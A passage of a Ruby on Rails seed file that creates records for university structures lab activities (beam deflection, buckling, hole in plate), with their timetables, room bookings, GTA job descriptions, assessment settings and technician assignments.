programme_id: $prog_civ.id).first_or_create!\n\n\n a47 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV1000\").first.id, code: \"209\").first_or_create!(name: \"Deflection of a Beam\",\n name_abrv: \"Bending\", archived: false, in_drive: true, user_id: 3)\n at47 = ActivityTimetable.where(activity_id: a47.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 210, takedown_time: 210, notes: \"Needs GUNT equipment\",\n capacity: nil, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at47.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a47.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"https://goo.gl/rPsrdF\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a47.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a47.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a47.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a47.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a48 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV2100\").first.id, code: \"210\").first_or_create!(name: \"Qualitative Analysis of Frames\",\n name_abrv: \"QA\", archived: false, in_drive: true, user_id: 2)\n at48 = ActivityTimetable.where(activity_id: a48.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 11, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: true, series_setup_time: 30, setup_time: 120, takedown_time: 120, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a48.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"https://goo.gl/mibPtH\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a48.id).first_or_create!(criteria: \"It is essential for a GTA to have a strong understanding of structural analysis. The ideal candidate should be familiar with the analysis of statically indeterminate portal frames.\",\n job_desc:\"In this lab, students will qualitative determine deflected shapes and bending moment diagrams of 2-dimensional elastic beams and portal frames structures as a result of external loading.\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a48.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a48.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a48.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a49 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE207\").first.id, code: \"210\").first_or_create!(name: \"Qualitative Analysis\",\n name_abrv: \"QA\", archived: false, in_drive: true, user_id: 2)\n at49 = ActivityTimetable.where(activity_id: a49.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 120, takedown_time: 120, notes: \"\",\n capacity: 50, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a49.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"https://goo.gl/F1sv5m\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a49.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a49.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a49.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a49.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a50 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV2100\").first.id, code: \"211\").first_or_create!(name: \"Elastic Instability: Buckling\",\n name_abrv: \"EI - Buckling\", archived: false, in_drive: true, user_id: 4)\n at50 = ActivityTimetable.where(activity_id: a50.id).first_or_create!(duration: 120, kit_prep_time: 480, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 210, takedown_time: 210, notes: \"Needs Shimadzu\",\n capacity: nil, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at50.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a50.id).first_or_create!(user_id: 4, g_drive_link: \"https://goo.gl/zpPBgp\",\n mole_pub_link: \"https://goo.gl/mP6s53\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a50.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a50.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a50.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a50.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a51 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV2100\").first.id, code: \"212\").first_or_create!(name: \"Plastic Collapse: Beams\",\n name_abrv: \"PC Beams\", archived: false, in_drive: true, user_id: 1)\n at51 = ActivityTimetable.where(activity_id: a51.id).first_or_create!(duration: 60, kit_prep_time: 210, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 480, takedown_time: 480, notes: \"Needs GUNT equipment\",\n capacity: nil, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at51.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a51.id).first_or_create!(user_id: 5, g_drive_link: \"https://goo.gl/eaYC7o\",\n mole_pub_link: \"https://goo.gl/GT7qFG\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a51.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a51.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a51.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a51.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a52 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR222\").first.id, code: \"213\").first_or_create!(name: \"Hole in Plate\",\n name_abrv: \"HOLEPLATE\", archived: true, in_drive: true, user_id: 2)\n at52 = ActivityTimetable.where(activity_id: a52.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a52.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a52.id).first_or_create!(criteria: \"Understanding of Mechanics of materials\",\n job_desc:\"In this lab, students study the strain-distribution in a plate with a hole in it, using strain-gauges. The data is obtained using Shimadzu tensometers and Vishay strain gauge monitoring equipment. Once the data is obtained, the students analyse their data using Mohr's circle. A knowledge of Mohr's circle and two dimensional stress distributions is therefore required.\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a52.id).first_or_create!(assess_weight: nil, notes: \"post-lab MOLE quiz\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a52.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a52.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a53 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR223\").first.id, code: \"213\").first_or_create!(name: \"Hole in Plate\",\n name_abrv: \"HOLEPLATE\", archived: false, in_drive: true, user_id: 5)\n at53 = ActivityTimetable.where(activity_id: a53.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 480, takedown_time: 480, notes: \"Needs Shimadzu\",\n capacity: nil, checked_on_timetable: false)\n RoomBooking.where(activity_timetable_id: at53.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a53.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a53.id).first_or_create!(criteria: \"It is essential for a GTA to have a strong understanding of Mechanics of materials. The ideal candidate should be familiar with stress concentration, principal stresses and strains and Mohr Circles.\",\n job_desc:\"In this lab, students study the strain-distribution in a plate with a hole in it, using strain-gauges. The data is obtained using Shimadzu tensometers and Vishay strain gauge monitoring equipment. Once the data is obtained, the students analyse their data using Mohr's circle. A knowledge of Mohr's circle and two dimensional stress distributions is therefore required.\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a53.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a53.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a53.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a55 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MAT1600\").first.id, code: \"213\").first_or_create!(name: \"Hole in Plate\",\n name_abrv: \"HOLEPLATE\", archived: true, in_drive: true, user_id: 3)\n at55 = ActivityTimetable.where(activity_id: a55.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 4, max_week_num: 5, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a55.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"https://goo.gl/6xWwbb\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a55.id).first_or_create!(criteria: \"Understanding of Mechanics of materials\",\n job_desc:\"In this lab, students study the strain-distribution in a plate with a hole in it, using strain-gauges. The data is obtained using Shimadzu tensometers and Vishay strain gauge monitoring equipment. Once the data is obtained, the students analyse their data using Mohr's circle. A knowledge of Mohr's circle and two dimensional stress distributions is therefore required.\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a55.id).first_or_create!(assess_weight: nil, notes: \"In-lab marking + post-lab MOLE quiz\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a55.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a55.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a56 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC202\").first.id, code: \"213\").first_or_create!(name: \"Hole in Plate\",\n name_abrv: \"HOLEPLATE\", archived: true, in_drive: true, user_id: 3)\n at56 = ActivityTimetable.where(activity_id: a56.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a56.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a56.id).first_or_create!(criteria: \"Understanding of Mechanics of materials\",\n job_desc:\"In this lab, students study the strain-distribution in a plate with a hole in it, using strain-gauges. The data is obtained using Shimadzu tensometers and Vishay strain gauge monitoring equipment. Once the data is obtained, the students analyse their data using Mohr's circle. A knowledge of Mohr's circle and two dimensional stress distributions is therefore required.\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a56.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a56.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a56.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a57 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE207\").first.id, code: \"214\").first_or_create!(name: \"Elastic Instability: Buckling\",\n name_abrv: \"EI - GEE\", archived: false, in_drive: true, user_id: 1)\n at57 = ActivityTimetable.where(activity_id: a57.id).first_or_create!(duration: 240, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 480, takedown_time: 480, notes: \"\",\n capacity: nil, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a57.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"https://goo.gl/TEpnz3\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a57.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a57.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a57.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a57.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a58 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE207\").first.id, code: \"209\").first_or_create!(name: \"Deflection of a Beam\",\n name_abrv: \"\", archived: false, in_drive: true, user_id: 4)\n at58 = ActivityTimetable.where(activity_id: a58.id).first_or_create!(duration: 240, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 480, takedown_time: 480, notes: \"Needs GUNT equipment\",\n capacity: nil, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at58.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a58.id).first_or_create!(user_id: 2, g_drive_link: \"https://goo.gl/NX44Rw\",\n mole_pub_link: \"https://goo.gl/qSTPbK\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a58.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a58.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a58.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a58.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a59 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE207\").first.id, code: \"218\").first_or_create!(name: \"Normal and Shear Stress in a Beam\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 1)\n at59 = ActivityTimetable.where(activity_id: a59.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a59.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a59.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a59.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a59.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a59.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a60 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV2100\").first.id, code: \"216\").first_or_create!(name: \"Elastic Instability: Frames\",\n name_abrv: \"EI - Frames\", archived: false, in_drive: true, user_id: 2)\n at60 = ActivityTimetable.where(activity_id: a60.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 210, takedown_time: 210, notes: \"\",\n capacity: nil, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a60.id).first_or_create!(user_id: 4, g_drive_link: \"https://goo.gl/jckoDt\",\n mole_pub_link: \"https://goo.gl/mKk8xz\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a60.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a60.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a60.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a60.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a61 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE207\").first.id, code: \"237\").first_or_create!(name: \"Elastic Instability: Frames\",\n name_abrv: \"EI - Frames\", archived: false, in_drive: true, user_id: 3)\n at61 = ActivityTimetable.where(activity_id: a61.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 210, takedown_time: 210, notes: \"\",\n capacity: nil, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a61.id).first_or_create!(user_id: 3, g_drive_link: \"https://goo.gl/jckoDt\",\n mole_pub_link: \"https://goo.gl/mKk8xz\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a61.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a61.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a61.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a61.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a62 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE207\").first.id, code: \"238\").first_or_create!(name: \"Elastic Instability: Torsional Buckling and Tin Plates\",\n name_abrv: \"EI - Torsion\", archived: false, in_drive: true, user_id: 5)\n at62 = ActivityTimetable.where(activity_id: a62.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 210, takedown_time: 210, notes: \"Needs GUNT equipment & Shimadzu\",\n capacity: nil, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a62.id).first_or_create!(user_id: 2, g_drive_link: \"https://goo.gl/JSCoLz\",\n mole_pub_link: \"https://goo.gl/gTFMau\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a62.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a62.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 1)\n ActivityTech.where(activity_id: a62.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a62.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a63 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV2100\").first.id, code: \"217\").first_or_create!(name: \"Elastic Instability: Torsional Buckling and Tin Plates\",\n name_abrv: \"EI - Torsion\", archived: false, in_drive: true, user_id: 3)\n at63 = ActivityTimetable.where(activity_id: a63.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 210, takedown_time: 210, notes: \"Needs GUNT equipment & Shimadzu\",\n capacity: nil, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a63.id).first_or_create!(user_id: 4, g_drive_link: \"https://goo.gl/JSCoLz\",\n mole_pub_link: \"https://goo.gl/gTFMau\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a63.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a63.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 1)\n ActivityTech.where(activity_id: a63.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a63.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a64 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR222\").first.id, code: \"218\").first_or_create!(name: \"Buckling\",\n name_abrv: \"BUCKLING\", archived: false, in_drive: true, user_id: 3)\n at64 = ActivityTimetable.where(activity_id: a64.id).first_or_create!(duration: nil, kit_prep_time: 960, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 210, takedown_time: 210, notes: \"Needs Shimadzu\",\n capacity: nil, checked_on_timetable: false)\n RoomBooking.where(activity_timetable_id: at64.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a64.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a64.id).first_or_create!(criteria: \"It is essential for a GTA to have a strong understanding of elastic instability of struts.\",\n job_desc:\"In this lab, students perform buckling tests on a series of struts of different lengths. Shimadzu tensometers are used to perform the tests, and the results are compared to predictions using Euler buckling and modified empirical formulae.\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a64.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityProgramme.where(activity_id: a64.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a65 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV1000\").first.id, code: \"218\").first_or_create!(name: \"Normal and Shear Stress in a Beam\",\n name_abrv: \"Shear\", archived: false, in_drive: true, user_id: 1)\n at65 = ActivityTimetable.where(activity_id: a65.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 210, takedown_time: 210, notes: \"Needs GUNT equipment\",\n capacity: nil, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at65.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a65.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"https://goo.gl/Lo6Fyd\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a65.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a65.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 3)\n ActivityTech.where(activity_id: a65.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a65.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a66 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV6276\").first.id, code: \"219\").first_or_create!(name: \"Joint testing\",\n name_abrv: \"JOINTS\", archived: false, in_drive: false, user_id: 1)\n at66 = ActivityTimetable.where(activity_id: a66.id).first_or_create!(duration: 120, kit_prep_time: 480, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a66.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"https://goo.gl/V7kcA5\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a66.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a66.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 1)\n ActivityTech.where(activity_id: a66.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: 